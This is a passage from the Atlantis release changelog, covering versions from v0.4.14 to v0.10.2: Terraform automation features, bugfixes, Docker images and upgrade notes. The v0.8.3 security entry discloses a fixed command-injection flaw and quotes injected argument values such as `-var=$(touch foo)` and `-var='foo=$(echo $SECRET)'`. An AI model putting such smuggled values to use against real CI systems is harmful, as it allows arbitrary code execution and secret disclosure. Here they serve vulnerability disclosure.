updates (Fixes [#864](https://github.com/runatlantis/atlantis/issues/846))\n\n## Backwards Incompatibilities / Notes:\n* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag\n  then the default version of Terraform will now be 0.12.16. Simply set the above\n  flag to your desired default version to avoid any issues.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.2/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.2/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.2/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.2/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.10.2`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.10.1..v0.10.2\nhttps://github.com/runatlantis/atlantis/compare/v0.10.1...v0.10.2\n\n# v0.10.1\n\n## Description\nSmall release that is built using Go 1.13.3 to mitigate a\nCVE (https://99designs.ca/blog/engineering/request-smuggling/).\n\n## Features\n* Error out when user has an atlantis.yml file (wrong extension, needs .yaml) ([#816](https://github.com/runatlantis/atlantis/pull/816) by @mdcurran)\n\n## Bugfixes\nNone\n\n## Backwards Incompatibilities / Notes:\nIf you had an `atlantis.yml` file (note the `.yml` extension), previously Atlantis ignored it.\nNow it will error to warn you that it's not being used.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.1/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.1/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.1/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.1/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.10.1`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.10.0..v0.10.1\nhttps://github.com/runatlantis/atlantis/compare/v0.10.0...v0.10.1\n\n# v0.10.0\n\n## Description\nLots of new features in this release: Azure DevOps support,\nautomatic Terraform version detection and private module cloning support.\nAll by community contributors!\n\n## Features\n* Support for Azure DevOps ([719](https://github.com/runatlantis/atlantis/pull/719) by @mcdafydd)\n* Support detecting Terraform version from `terraform { required_version = \"=<version>\" }` block ([#789](https://github.com/runatlantis/atlantis/pull/789) by @kennethtxytqw)\n* Improve `--write-git-creds` command so that it supports ssh private modules ([#799](https://github.com/runatlantis/atlantis/pull/799) by @ImperialXT)\n* Default TF version is now 0.12.12\n* Logo is now bigger on locks listing ([#783](https://github.com/runatlantis/atlantis/pull/783) by @Nuru)\n\n## Bugfixes\n* Fix error when using GitLab with the \"Delete source branch\" setting (Fixes [#760](https://github.com/runatlantis/atlantis/issues/760))\n* Fix repo whitelist when using wildcard in the middle, ex. `github.com/*-something` (Fixes [#692](https://github.com/runatlantis/atlantis/issues/692) by @dedamico)\n\n## Backwards Incompatibilities / Notes:\n* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag\n  then the default version of Terraform will now be 0.12.12. Simply set the above\n  flag to your desired default version to avoid any issues.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.0/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.0/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.0/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.0/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.10.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.9.0..v0.10.0\nhttps://github.com/runatlantis/atlantis/compare/v0.9.0...v0.10.0\n\n# v0.9.0\n\n## Description\nThis release contains a new step for custom workflows called `env`. It allows\nusers to set environment variables statically and dynamically for their workflows:\n```yaml\nworkflows:\n  env:\n    plan:\n      steps:\n      - env:\n          name: STATIC\n          value: set-statically\n      - env:\n          name: DYNAMIC\n          command: echo set-dynamically\n      - run: echo $STATIC $DYNAMIC # outputs 'set-statically set-dynamically'\n```\n\n## Features\n* New `env` step in custom workflows ([#751](https://github.com/runatlantis/atlantis/pull/751))\n* New flag `--write-git-creds` helps Atlantis support private module sources. ([#711](https://github.com/runatlantis/atlantis/pull/711))\n* Upgrade Terraform to 0.12.7 in our base Docker image.\n* Support for Terragrunt > 0.19.0 ([#748](https://github.com/runatlantis/atlantis/pull/748))\n* The directory where Atlantis downloads Terraform binaries is now in the PATH\nof custom workflows ([#678](https://github.com/runatlantis/atlantis/pull/678))\n* `dumb-init` and `gosu` upgraded in our Docker image ([#730](https://github.com/runatlantis/atlantis/pull/730))\n\n## Bugfixes\n* The Terraform version specified in `terraform_version` is now downloaded even\nif there are only custom steps (Fixes [#675](https://github.com/runatlantis/atlantis/issues/675))\n\n## Backwards Incompatibilities / Notes:\n* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag\n  then the default version of Terraform will now be 0.12.7. Simply set the above\n  flag to your desired default version to avoid any issues.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.9.0/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.9.0/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.9.0/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.9.0/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.9.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.8.3..v0.9.0\nhttps://github.com/runatlantis/atlantis/compare/v0.8.3...v0.9.0\n\n# v0.8.3\n\n## Description\nThis release contains an important security fix in addition to some fixes and\nchanges for Terraform Cloud/Enterprise users. It's highly recommended that all\nAtlantis users upgrade to this release. See the Security\nsection below for more details.\n\n## Security\n* Additional arguments specified in Atlantis comments, ex. `atlantis plan -- -var=foo=bar`\n  are now escaped before being appended to the relevant Terraform command. (Fixes [#697](https://github.com/runatlantis/atlantis/pull/697)).\n  Previously, a comment like `atlantis plan -- -var=$(touch foo)` would execute\n  the `touch foo` command because the extra arguments weren't being escaped properly.\n  This means anyone with comment access to an Atlantis repo could execute arbitrary\n  code. Because of the severity of this issue, all users should upgrade to this version.\n* Upgrade to latest version of Alpine Linux in our Docker image to mitigate\n  vulnerabilities found in libssh2. (Fixes [#687](https://github.com/runatlantis/atlantis/issues/687))\n\n## Features\n* Upgrade Terraform to 0.12.3 in our base Docker image.\n* Additional arguments specified in Atlantis comments, ex. `atlantis plan -- -var=foo=bar`\n  are now available in custom run steps as the `COMMENT_ARGS` environment variable. (Fixes [#670](https://github.com/runatlantis/atlantis/issues/670))\n* A new flag `--tfe-hostname` is available for specifying a Terraform Enterprise private installation's hostname\n  when using the remote backend integration. ([#706](https://github.com/runatlantis/atlantis/pull/706))\n\n## Bugfixes\n* Parse Bitbucket Cloud pull request rejected events properly. (Fixes [#676](https://github.com/runatlantis/atlantis/issues/676))\n* Terraform >= 0.12.0 works with Terraform Cloud/Enterprise remote operations. (Fixes [#704](https://github.com/runatlantis/atlantis/issues/704))\n\n## Backwards Incompatibilities / Notes:\n* If you were previously relying on being able to execute code in the additional\n  arguments of comments, ex. `atlantis plan -- -var='foo=$(echo $SECRET)'` this\n  is no longer possible. Instead you will need to write a custom workflow with a\n  custom step or the extra_args config.\n* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag\n  then the default version of Terraform will now be 0.12.3. Simply set the above\n  flag to your desired default version to avoid any issues.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.3/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.3/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.3/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.3/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.8.3`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.8.2..v0.8.3\nhttps://github.com/runatlantis/atlantis/compare/v0.8.2...v0.8.3\n\n# v0.8.2\n\n## Description\nSmall bugfix release for Bitbucket Cloud users running with \"require mergeable\".\n\n## Features\n* Update default Terraform version to 0.12.1.\n* Include directory in Slack message ([#660](https://github.com/runatlantis/atlantis/issues/660)).\n\n## Bugfixes\n* Atlantis would not allow applies for all Bitbucket Cloud pull requests if running with \"require mergeable\"\n  even if the pull request *was* mergeable due to an API change. (Fixes [#672](https://github.com/runatlantis/atlantis/issues/672))\n\n## Backwards Incompatibilities / Notes:\n* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag\n  then the default version of Terraform will now be 0.12.1. Simply set the above\n  flag to your desired default version to avoid any issues.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.2/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.2/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.2/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.2/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.8.2`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.8.1..v0.8.2\nhttps://github.com/runatlantis/atlantis/compare/v0.8.1...v0.8.2\n\n# v0.8.1\n\n## Description\nSmall bugfix release for Bitbucket Cloud users running with require approval.\n\n## Features\nNone\n\n## Bugfixes\n* Atlantis would panic when checking if pull requests were approved for Bitbucket\n  Cloud due to an API change. (Fixes [#652](https://github.com/runatlantis/atlantis/issues/652))\n\n## Backwards Incompatibilities / Notes:\nNone\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.1/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.1/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.1/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.1/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.8.1`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.8.0..v0.8.1\nhttps://github.com/runatlantis/atlantis/compare/v0.8.0...v0.8.1\n\n# v0.8.0\n\n## Description\nThis release upgrades the default version of Terraform to 0.12.\nIf you're running Atlantis with the `--default-tf-version` flag set (which\nyou always should) then this won't affect you at all.\n\n## Features\n* Upgrade default Terraform version to 0.12\n* Add new `--disable-apply-all` flag that disables running `atlantis apply`\n  without any flags. ([#645](https://github.com/runatlantis/atlantis/pull/645))\n\n## Bugfixes\nNone\n\n## Backwards Incompatibilities / Notes:\n* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag\n  then the default version of Terraform will now be 0.12. Simply set the above\n  flag to your desired default version of Terraform and 0.12 won't be used.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.0/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.0/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.0/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.8.0/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.8.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.7.2..v0.8.0\nhttps://github.com/runatlantis/atlantis/compare/v0.7.2...v0.8.0\n\n# v0.7.2\n\n## Description\nSmall release containing an important security fix and some bugfixes.\n\n## Features\nNone\n\n## Bugfixes\n* Atlantis would post its Git credentials as pull request comment and in logs if the git clone failed. (Fixes [#615](https://github.com/runatlantis/atlantis/issues/615))\n* Atlantis would comment the same output twice during errors of custom run steps. (Fixes [#519](https://github.com/runatlantis/atlantis/issues/519))\n* `atlantis testdrive` had unreadable output on solarized terminals. (Fixes [#575](https://github.com/runatlantis/atlantis/issues/575))\n\n## Backwards Incompatibilities / Notes:\nNone\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.2/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.2/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.2/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.2/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.7.2`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.7.1..v0.7.2\nhttps://github.com/runatlantis/atlantis/compare/v0.7.1...v0.7.2\n\n# v0.7.1\n\n## Description\nSmall bugfix release to fix an issue when using `--checkout-strategy=merge`.\n\n## Features\n* `PROJECT_NAME` is now available as an environment variable to custom `run` steps. ([#578](https://github.com/runatlantis/atlantis/pull/578))\n\n## Bugfixes\n* Fix deleting unapplied plans when `--checkout-strategy=merge` is used. (Fixes [#582](https://github.com/runatlantis/atlantis/issues/582))\n\n## Backwards Incompatibilities / Notes:\nNone\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.1/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.1/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.1/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.1/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.7.1`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.7.0..v0.7.1\nhttps://github.com/runatlantis/atlantis/compare/v0.7.0...v0.7.1\n\n# v0.7.0\n\n## Description\nThis release implements Server-Side Repo Config which allows users to write\n`atlantis.yaml`-style config on the server rather than in individual repos.\nThe Server Side config also allow Atlantis operators to control what individual\nrepos can do in their `atlantis.yaml` files. Read [docs](https://www.runatlantis.io/docs/server-side-repo-config.html) for more details.\n\n## Features\n* Server-Side Repo Config. Read [docs](https://www.runatlantis.io/docs/server-side-repo-config.html)\n  and [use cases](https://www.runatlantis.io/docs/server-side-repo-config.html#use-cases) for full details. ([#47](https://github.com/runatlantis/atlantis/issues/47))\n  * New flag `atlantis server` flag `--repo-config` for specifying the\n    repo config file .\n  * New flag `--repo-config-json` for specifying the repo config as a JSON string\n    instead of having to write a config file to disk.\n  * All repos can now create `atlantis.yaml` files to configure their projects,\n    however by default, those files can't create custom workflows or set Apply\n    Requirements.\n* New version `3` of `atlantis.yaml` fixes a small issue with how we were parsing\n  custom `run` steps. Previously we were doing additional parsing which caused some\n  users to have to add extra escaping to their commands. Now this is no longer\n  required. See the Backwards Compatibility section for more details.\n\n## Bugfixes\n* Fix bug where running `atlantis apply` to apply all outstanding plans wouldn't work if\n  you had more than one project defined in the exact same directory and workspace. (Fixes [#365](https://github.com/runatlantis/atlantis/issues/365))\n\n## Backwards Incompatibilities / Notes:\n* The server-side config changes are fully backwards compatible. The biggest\n  difference is that all repos can now create `atlantis.yaml` files, but without\n  being able to create custom workflows or set apply requirements. This will\n  allow users to configure their projects, workspaces and terraform versions\n  at a repo level without enabling those repos to run custom code or circumvent\n  apply requirements set server-side.\n* `atlantis.yaml` has a new version `3`. If you continue to use version `2`, you\n  will experience no changes. If you want to upgrade to version `3`, then\n  if you're not using any custom `run` steps in your workflows you can upgrade\n  the version number without additional changes.\n\n  If you are using `run` steps, check our [upgrade guide](https://www.runatlantis.io/docs/upgrading-atlantis-yaml.html#upgrading-from-v2-to-v3)\n  to see if you need to make any changes before upgrading.\n* Flags `--require-approval`, `--require-mergeable` and `--allow-repo-config` are\n  deprecated in favour of creating a server-side repo config file that applies\n  the same configuration. If you run `atlantis server` with those flags, a\n  deprecation warning will be printed telling you what server-side config is\n  recommended instead.\n* If you have projects configured with the same directory and workspace (which means\n  you're probably using the `-backend-config` flag) **and** their names contain `/`'s,\n  then you'll have to re-run `atlantis plan` after upgrading if you had any unapplied plans.\n\n  An example of what config would mean you need to re-plan:\n  ```yaml\n  projects:\n  - name: name/with/slashes\n    dir: samedir\n    workflow: a\n  - name: another/with/slashes\n    dir: samedir\n    workflow: b\n  a:\n     plan:\n       steps:\n       - run: rm -rf .terraform\n       - init:\n           extra_args: [-backend-config=staging.backend.tfvars]\n       - plan\n  b:\n     plan:\n       steps:\n       - run: rm -rf .terraform\n       - init:\n           extra_args: [-backend-config=staging.backend.tfvars]\n       - plan\n  ```\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.0/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.0/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.0/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.7.0/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.7.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.6.0..v0.7.0\nhttps://github.com/runatlantis/atlantis/compare/v0.6.0...v0.7.0\n\n# v0.6.0\n\n## Description\nThis release introduces a new flag `--default-tf-version=<version>` that allows users\nto set the version of Terraform that Atlantis defaults to. Atlantis will automatically\ndownload that version on startup so users don't need to build their own custom\nDocker images.\n\nAtlantis will also now automatically download any Terraform version specified in\n`atlantis.yaml`:\n```yaml\nversion: 2\nprojects:\n- dir: .\n  terraform_version: v0.12.0-beta1 # Will be downloaded automatically.\n```\n\n## Features\n* New flag: `--default-tf-version=<version>` will cause Atlantis to automatically download\n  and use that version of Terraform by default. Atlantis will also automatically\n  download terraform versions specified in `atlantis.yaml` via the `terraform_version`\n  config key. ([#538](https://github.com/runatlantis/atlantis/pull/538))\n* New status check names mean that the Atlantis checks will appear together (at least on GitHub).\n  ([#545](https://github.com/runatlantis/atlantis/pull/545))\n* Upgrade base Docker image to use Alpine 3.9. Alpine 3.9 mitigates\n  [CVE-2018-19486](https://nvd.nist.gov/vuln/detail/CVE-2018-19486). ([#541](https://github.com/runatlantis/atlantis/pull/541))\n\n## Bugfixes\nNone\n\n## Backwards Incompatibilities / Notes:\n* Our Docker image `runatlantis/atlantis` has Terraform `v0.11.13` now. If you\n  use the new flag `--default-tf-version=<desired version>` then you won't\n  be affected by this change (nor for subsequent version upgrades).\n* The Atlantis status checks have been renamed from what they looked like in `v0.5.*`.\n  Previously the names were: `plan/atlantis` and `apply/atlantis`. Now the\n  names are `atlantis/plan` and `atlantis/apply`.\n\n  This change will only affect you if you're requiring those status checks to pass via a setting in\n  your Git host (ex. via GitHub protected branches). If so, you'll need to change\n  your settings to require the new names to pass and un-require the old names.\n\n  > If you were on a version lower than `v0.5.*` then read the backwards compatibility\n    notes for release `0.5.0`.\n\n  **NOTE from the maintainer**: I take backwards compatibility seriously and I\n  apologize that the status checks are changing again so soon after the 0.5 release\n  also changed them. I know that if you have many repos and require the checks\n  to pass that it is a large task to change them all again.\n\n  In this case, I decided that the tradeoff was worth it because the\n  0.5 release has only been out for a couple of weeks so hopefully not everyone\n  has upgraded to it. The new check names makes them a lot easier to read\n  (at least on GitHub) because they appear next to each other now due to\n  alphabetical sorting. In this case I felt like it was better to get this change\n  done as soon as possible rather than having this annoying UX issue stay around\n  forever.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.6.0/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.6.0/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.6.0/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.6.0/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.6.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.5.1..v0.6.0\nhttps://github.com/runatlantis/atlantis/compare/v0.5.1...v0.6.0\n\n# v0.5.1\n\n## Description\nThis is a bugfix release to fix a bug where Atlantis was replying to comments\nthat weren't directed to it.\n\nDiff: https://github.com/runatlantis/atlantis/compare/v0.5.0...v0.5.1\n\n## Features\n* On Bitbucket Cloud and Server, Atlantis now responds if it's invoked with the\n  username it's running under, ex. @my-bb-atlantis-user. This is the same\n  functionality as GitHub and GitLab. ([#534](https://github.com/runatlantis/atlantis/pull/534))\n\n## Bugfixes\n* Atlantis ignore comments that aren't addressed to it. (Fixes [#533](https://github.com/runatlantis/atlantis/issues/533))\n\n## Backwards Incompatibilities / Notes:\n* On Bitbucket Cloud and Server, Atlantis now responds if it's invoked with the\n  username it's running under, ex. @my-bb-atlantis-user. This is the same\n  functionality as GitHub and GitLab.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.5.1/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.5.1/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.5.1/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.5.1/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.5.1`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n# v0.5.0\n\n## Description\nThis release has two big features: New Status Checks and Terraform Enterprise\nIntegration.\n\n**New Status Checks:**\n\nThe new status checks split the old status check into `plan` and `apply` phases.\nEach check now tracks the status of each project modified in the pull request.\nFor example if two projects are modified, the `plan` check might read:\n> 2/2 projects planned successfully.\n\nAnd the `apply` check might read:\n> 0/2 projects applied successfully.\n\nUsers can now use their Git host's settings to require these checks pass\nbefore a pull request is merged and be confident that all changes have been\napplied (for example).\n\n**Terraform Enterprise Integration:**\n\nAtlantis now integrates with the Terraform Enterprise (TFE)\nvia the [remote backend](https://www.terraform.io/docs/backends/types/remote.html).\nAtlantis will run `terraform` commands as usual, however those commands will\nactually be executed *remotely* in Terraform Enterprise.\n\nUsing Atlantis with Terraform Enterprise gives you access to TFE features like:\n* Real-time streaming output\n* Ability to cancel in-progress commands\n* Secret variables\n* [Sentinel](https://www.hashicorp.com/sentinel)\nWithout having to change your pull request workflow.\n\nDiff: https://github.com/runatlantis/atlantis/compare/v0.4.15...v0.5.0\n\n## Features\n* Split single status check into one for `plan` and one for `apply` (see above).\n* Support using Atlantis with Terraform Enterprise via\n [remote operations](https://www.terraform.io/docs/backends/operations.html) (see above).\n* Add `USER_NAME` environment variable for custom steps to use. ([#489](https://github.com/runatlantis/atlantis/pull/489))\n* Support Bitbucket Cloud's upcoming API deprecations. ([#502](https://github.com/runatlantis/atlantis/pull/502))\n* Support Bitbucket Server hosted at a basepath, ex. `bitbucket.mycompany.com/pathprefix` (Fixes [#508](https://github.com/runatlantis/atlantis/issues/508))\n\n## Bugfixes\n* Allow Bitbucket Server diagnostics checks. (Fixes [#474](https://github.com/runatlantis/atlantis/issues/474))\n* Fix automerge for Bitbucket Server. (Fixes [#479](https://github.com/runatlantis/atlantis/issues/479))\n* Run `terraform init` with `-upgrade`. (Fixes [#443](https://github.com/runatlantis/atlantis/issues/443))\n* If a pull request is deleted in Bitbucket Server, delete locks. (Fixes [#498](https://github.com/runatlantis/atlantis/issues/498))\n* Support directories with spaces, ex `atlantis plan -d 'dir with spaces'`. (Fixes [#423](https://github.com/runatlantis/atlantis/issues/423))\n* Ignore Terragrunt cache directories that were causing duplicate applies. (Fixes [#487](https://github.com/runatlantis/atlantis/issues/487))\n* Fix `atlantis testdrive` for latest version of ngrok.\n\n## Backwards Incompatibilities / Notes:\n* **New Status Checks** - If you have settings in your Git host that require the Atlantis commit status\n  check to be in a certain condition, you will need to modify that setting as follows:\n\n  Previously, Atlantis set a single check with the name `Atlantis`. Now there are\n  two checks with the names `plan/atlantis` and `apply/atlantis`. If you had\n  previously required the `Atlantis` check to pass, you should now require both\n  the `plan/atlantis` and `apply/atlantis` checks to pass.\n\n  The behaviour has also changed. Previously, the single Atlantis check\n  would represent the status of the **last\n  run command**. For example, if I ran `atlantis plan` and it failed, the check\n  would be in a *Failed* state. If I ran `atlantis apply -p project1` and it succeeded,\n  then the check would be in a *Success* state, regardless of the status of other projects\n  in the pull request.\n\n  Now, each check represents the plan/apply status of **all** projects modified in\n  the pull request. For example, say I open up a pull request that modifies\n  two projects, one in directory `proj1` and the other in `proj2`. If autoplanning\n  is enabled, and both plans succeed, then there will be a single status check:\n  * `plan/atlantis - 2/2 projects planned successfully` (success)\n\n  If I run `atlantis apply -d proj1`, then Atlantis will set a pending apply check:\n  * `plan/atlantis - 2/2 projects planned successfully` (success)\n  * `apply/atlantis - 1/2 projects applied successfully` (pending)\n\n  If I apply the final project with `atlantis apply -d proj2`, then my checks\n  will look like:\n  * `plan/atlantis - 2/2 projects planned successfully` (success)\n  * `apply/atlantis - 2/2 projects applied successfully` (success)\n\n* `terraform init` is now run with `-upgrade=true`. Previously, it used Terraform's\n  default setting which was `false`.\n\n  This means that `terraform` will always update to the latest version of plugins\n  and modules. For example, if you're using a module source of\n    ```hcl\n    source = \"git::https://example.com/vpc.git?ref=master\"\n    ```\n  then `terraform init` will now always use the version on `master` whereas\n  previously, if you had already run `atlantis plan` before `master` was updated,\n  a new `atlantis plan` wouldn't pull the latest changes and would just use\n  the cached version.\n\n  This is unlikely to cause any issues because most users already expected Atlantis\n  to use the most up-to-date version of modules/plugins within the set constraints.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.5.0/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.5.0/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.5.0/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.5.0/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.5.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n# v0.4.15\n\n## Description\nThis is a bugfix release containing an important fix to how Atlantis executes Terraform. A\nbug was introduced in v0.4.14 that causes Atlantis to hang indefinitely when\nexecuting Terraform when there is a lot of output from Terraform.\n\nIn addition, there's a fix to automerge when you require rebasing or commit\nsquashing in GitHub and a fix for the mergeability check if you're requiring\nthe Atlantis status to pass in GitHub.\n\nDiff: https://github.com/runatlantis/atlantis/compare/v0.4.14...v0.4.15\n\n## Features\nNone – this is a bugfix release.\n\n## Bugfixes\n* Atlantis hangs on large plans. (Fixes [#474](https://github.com/runatlantis/atlantis/issues/474))\n* Automerge now works on GitHub if you require a rebase or squash merge. ([#466](https://github.com/runatlantis/atlantis/pull/466))\n* Automerge now works on Bitbucket if previously you were getting XSRF errors. (Fixes [#465](https://github.com/runatlantis/atlantis/issues/465))\n* Requiring `mergeable` now works on GitHub if you are also requiring the Atlantis status to pass before merging. (Fixes [#453](https://github.com/runatlantis/atlantis/issues/453))\n\n## Backwards Incompatibilities / Notes:\nNone\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.15/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.15/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.15/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.15/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.4.15`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n# v0.4.14\n\n## Description\n**WARNING:** This release contains a bug that causes Terraform execution to stall\non large infrastructures. Please use v0.4.15 instead.\n\nThis release contains two big new features: Automerge and Checkout Strategy.\n\nAutomerge is a much asked for feature that allows Atlantis to automatically\nmerge your pull requests if all plans have been applied successfully.\nIt can be enabled via the `--automerge` flag, or via an `atlantis.yaml` setting:\n```yaml\nversion: 2\nautomerge: true\nprojects:\n- ...\n```\n\nCheckout 